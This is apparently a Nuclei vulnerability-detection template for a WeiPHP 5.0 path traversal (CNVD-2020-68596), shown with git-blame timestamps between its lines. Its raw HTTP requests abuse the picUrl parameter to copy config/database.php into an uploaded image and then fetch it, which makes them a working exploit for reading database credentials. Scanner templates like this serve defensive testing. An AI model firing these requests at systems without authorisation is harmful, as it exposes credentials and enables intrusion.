2021-06-03 16:24:08 +00:00
|
|
|
id: CNVD-2020-68596
|
2021-02-25 08:59:17 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: WeiPHP 5.0 - Path Traversal
|
2021-02-25 08:59:17 +00:00
|
|
|
author: pikpikcu
|
2022-05-13 20:26:43 +00:00
|
|
|
severity: high
|
2023-10-14 11:27:55 +00:00
|
|
|
description: WeiPHP 5.0 is susceptible to directory traversal attacks.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
|
2022-05-13 20:26:43 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
|
|
cvss-score: 8.6
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 3
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: weiphp,lfi,cnvd,cnvd2020
|
2021-02-25 08:59:17 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-25 08:59:17 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
"1":1
|
|
|
|
- |
|
|
|
|
GET /public/index.php/home/file/user_pics HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
2021-02-25 10:48:18 +00:00
|
|
|
GET {{endpoint}} HTTP/1.1
|
2021-02-25 08:59:17 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
2021-02-25 10:48:18 +00:00
|
|
|
name: endpoint
|
2021-02-25 08:59:17 +00:00
|
|
|
part: body
|
2021-02-25 10:48:18 +00:00
|
|
|
internal: true
|
2021-02-25 08:59:17 +00:00
|
|
|
regex:
|
|
|
|
- '/public/uploads/picture/(.*.jpg)'
|
|
|
|
matchers:
|
2021-02-25 12:59:49 +00:00
|
|
|
- type: word
|
2022-01-04 06:24:45 +00:00
|
|
|
part: body
|
2021-02-25 12:59:49 +00:00
|
|
|
words:
|
2021-02-25 17:34:21 +00:00
|
|
|
- https://weiphp.cn
|
|
|
|
- WeiPHP
|
|
|
|
- DB_PREFIX
|
2023-10-14 11:27:55 +00:00
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022076ee287905eae81c2602c8abd40e89d94524b7e8a6b0aff196a895e2b7099089022100cbd7723c90ae8e44cf1b1937c2cd7ad41f67342840019cf60d8d13f6cf0c7d7f:922c64590222798bb761d5b6d8e72950
|